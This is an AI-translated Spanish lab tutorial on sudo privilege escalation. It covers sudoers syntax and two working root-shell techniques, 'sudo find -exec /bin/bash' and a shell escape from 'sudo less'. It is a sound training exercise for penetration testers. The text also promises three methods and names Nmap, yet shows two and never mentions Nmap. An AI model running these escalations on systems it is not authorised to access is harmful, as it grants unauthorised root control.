Aprende Métodos de Escalada de Privilegios Sudo en Nmap

Beginner

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, aprenderá sobre la sintaxis del archivo de configuración de sudo y practicará tres métodos comunes para escalar privilegios a través de vulnerabilidades o malas configuraciones de sudo. El objetivo es adquirir una mejor comprensión de cómo aprovechar sudo para la escalada de privilegios durante una prueba de penetración.


Skills Graph

Sintaxis del archivo de configuración de sudo

En este paso, aprenderá sobre la sintaxis del archivo /etc/sudoers, que se utiliza para configurar los privilegios de sudo.

El archivo /etc/sudoers se utiliza para especificar qué usuarios o grupos pueden ejecutar comandos con privilegios elevados. Para ver y guardar el contenido del archivo /etc/sudoers, ejecute el siguiente comando:

sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt

La salida debe ser similar a la siguiente:

## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root    ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges

Esta línea especifica que el usuario root puede ejecutar cualquier comando como cualquier usuario o grupo en todos los hosts.

La sintaxis general para una entrada de sudoers es:

user_or_group_name  host_list=(run_as_user:run_as_group)  command_list
  • user_or_group_name: El usuario o grupo al que se aplica la regla.
  • host_list: El/los host(s) en los que se aplica la regla. El valor ALL significa todos los hosts.
  • run_as_user: El usuario cuyos privilegios se utilizan para ejecutar el comando. El valor ALL significa cualquier usuario.
  • run_as_group: El grupo cuyos privilegios se utilizan para ejecutar el comando. El valor ALL significa cualquier grupo.
  • command_list: El/los comando(s) que el usuario o grupo está autorizado a ejecutar.

Sudo permite la escalada de privilegios sin restricciones de argumentos

En este paso, practicarás la escalada de privilegios aprovechando malas configuraciones de sudo que permiten ejecutar cualquier comando con privilegios elevados.

  1. Primero, abre una terminal y navega al directorio /home/labex/project.

    cd /home/labex/project
  2. Inicializa el entorno ejecutando el siguiente comando:

    ./env_setup_1.sh
  3. Ahora has iniciado sesión como el usuario user001.

    Utiliza el comando sudo -l para verificar tus privilegios de sudo:

    sudo -l
    (root) NOPASSWD:/usr/bin/find

    Esto significa que puedes ejecutar el comando find con privilegios de root sin contraseña.

  4. Para escalar privilegios, ejecuta:

    sudo find /home -exec /bin/bash \;

    Ahora deberías tener una shell de root.

  5. Crea un archivo llamado success_1.txt en el directorio /root para verificar que tienes privilegios de root:

    echo "success_1" | sudo tee /root/success_1.txt

    Verifica el archivo ejecutando:

    cat /root/success_1.txt

    La salida debería ser success_1.

Sudo permite la escalada de privilegios con argumentos de comando específicos

En este paso, practicarás la escalada de privilegios aprovechando malas configuraciones de sudo que permiten ejecutar comandos específicos con privilegios elevados.

Después del último paso, aún has iniciado sesión como el usuario root. Para continuar con este paso, debes cerrar la terminal actual y abrir una nueva terminal.

  1. Primero, abre una terminal y navega al directorio /home/labex/project.

    cd /home/labex/project
  2. Inicializa el entorno ejecutando el siguiente comando:

    ./env_setup_2.sh
  3. Verifica tus privilegios de sudo con sudo -l:

    sudo -l

    Salida esperada:

    (root) NOPASSWD: /bin/less /var/log/messages

    Esto significa que puedes ejecutar el comando /bin/less /var/log/messages con privilegios de root sin contraseña.

  4. Para escalar privilegios, ejecuta:

    sudo less /var/log/messages

    Una vez dentro del paginador less, ejecuta:

    !/bin/bash

    Ahora deberías tener una shell de root.

  5. Crea un archivo llamado success_2.txt en el directorio /root para verificar que tienes privilegios de root:

    echo "success_2" | sudo tee /root/success_2.txt

    Verifica el archivo ejecutando:

    cat /root/success_2.txt

    La salida debería ser success_2.

Resumen

En este laboratorio, aprendiste sobre la sintaxis del archivo /etc/sudoers y cómo configurar los privilegios de sudo. También practicaste tres métodos comunes para escalar privilegios a través de malas configuraciones o vulnerabilidades de sudo. Al entender cómo aprovechar sudo para la escalada de privilegios, puedes evaluar y mitigar mejor los posibles riesgos de seguridad en los sistemas Linux.